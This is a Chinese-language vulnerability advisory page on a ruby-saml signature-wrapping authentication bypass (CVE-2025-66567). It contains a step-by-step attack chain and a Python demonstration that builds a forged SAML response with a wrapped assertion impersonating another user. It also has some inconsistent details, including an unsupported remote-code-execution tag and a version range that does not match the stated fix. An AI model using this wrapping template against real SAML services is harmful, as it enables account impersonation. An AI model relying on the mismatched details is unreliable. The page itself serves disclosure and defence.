IPBUF安全漏洞报告
English
CVE-2025-66567 CVSS 9.1 严重

CVE-2025-66567 | ruby-saml 认证绕过漏洞(Signature Wrapping攻击)

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-66567
漏洞类型
认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ruby-saml

相关标签

认证绕过Signature WrappingXML签名漏洞SAMLruby-samlCVE-2025-66567ReXMLNokogiri远程代码执行身份冒充

漏洞概述

CVE-2025-66567是ruby-saml库中的一个严重认证绕过漏洞,该库用于实现SAML授权的客户端功能。漏洞源于对CVE-2025-25292的不完整修复,影响版本包括1.12.4及之前的所有版本。由于ReXML和Nokogiri两个XML解析器对同一输入会生成完全不同的文档结构,攻击者可利用这一差异执行Signature Wrapping(签名包装)攻击,从而绕过SAML响应签名验证,实现未授权访问。该漏洞CVSS评分高达9.1,属于严重级别,无需任何认证即可远程利用。攻击成功后可完全绕过身份验证机制,窃取用户会话或冒充合法用户访问受保护资源。此漏洞已在版本1.18.0中修复。

技术细节

Signature Wrapping攻击是一种针对XML签名验证机制的绕过技术。在ruby-saml库中,由于ReXML和Nokogiri解析器的实现差异,它们对相同XML输入会生成完全不同的文档对象模型(DOM)结构。攻击者可以构造特殊的XML文档,利用两个解析器解析结果的差异,在通过Nokogiri验证签名后,使用ReXML解析时使文档结构发生改变,从而绕过签名完整性检查。具体来说,攻击者在SAML响应中插入额外的XML元素(如重复的Assertion或Subject元素),使得签名验证时检查的元素与实际执行逻辑中使用的元素不同。这种攻击允许攻击者在不拥有有效签名私钥的情况下,修改SAML响应内容而绕过签名验证,最终实现身份冒充或会话劫持。漏洞的根本原因是CVE-2025-25292的修复不完整,未能彻底消除不同XML解析器之间的行为差异。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统使用的SAML IdP(身份提供商)信息,包括实体ID、SSO端点等
STEP 2
步骤2
攻击者构造包含Signature Wrapping攻击载荷的恶意SAML响应,在响应中嵌入两个Assertion元素
STEP 3
步骤3
第一个Assertion(合法内容)被Nokogiri解析器用于签名验证,攻击者使用获取的合法签名
STEP 4
步骤4
第二个Assertion(恶意内容)被ReXML解析器在后续处理中使用,由于命名空间前缀差异导致不同的DOM结构
STEP 5
步骤5
ruby-saml库在验证签名后,使用ReXML解析的结果进行授权决策,从而使用攻击者控制的NameID
STEP 6
步骤6
攻击者成功冒充合法用户(如[email protected])登录系统,获取未授权访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66567 Proof of Concept Signature Wrapping Attack against ruby-saml Note: This PoC demonstrates the XML structure difference between ReXML and Nokogiri """ import xml.etree.ElementTree as ET # SAML Response with Signature Wrapping attack structure # This demonstrates how the same XML can be parsed differently def generate_attack_xml(): # Normal structure (verified by Nokogiri) normal_assertion = ''' <Assertion ID="_valid_assertion" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> <Subject> <NameID>[email protected]</NameID> </Subject> <Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2030-01-01T00:00:00Z"/> </Assertion> ''' # Wrapped structure (processed by ReXML after validation) wrapped_assertion = ''' <saml:Assertion ID="_malicious_assertion" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>[email protected]</saml:NameID> </saml:Subject> <saml:Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2030-01-01T00:00:00Z"/> </saml:Assertion> ''' # Attack payload - same document, different parsing results attack_xml = f''' <Response xmlns="urn:oasis:names:tc:SAML:2.0:protocol"> <Signature> <!-- Valid signature over normal_assertion --> </Signature> {normal_assertion} {wrapped_assertion} </Response> ''' return attack_xml def demonstrate_parsing_difference(): """ Demonstrates how different XML parsers can produce different results """ xml_content = generate_attack_xml() # Parse with different methods tree = ET.fromstring(xml_content) # Find all Assertion elements ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'} assertions = tree.findall('.//saml:Assertion', ns) print(f"Found {len(assertions)} Assertion elements") for i, assertion in enumerate(assertions): name_id = assertion.find('.//saml:NameID', ns) if name_id is not None: print(f"Assertion {i+1} NameID: {name_id.text}") if __name__ == "__main__": print("CVE-2025-66567 - Signature Wrapping Attack Demo") print("=" * 50) demonstrate_parsing_difference()

影响范围

ruby-saml <= 1.12.4

防御指南

临时缓解措施
立即将ruby-saml库升级到1.18.0或更高版本以修复此漏洞。如果无法立即升级,可考虑暂时禁用SAML认证,使用其他认证机制替代。同时确保Web应用服务器使用单一且一致的XML解析器处理所有SAML相关操作,避免混用ReXML和Nokogiri。如条件允许,可在负载均衡层面实施IP白名单限制,减少暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表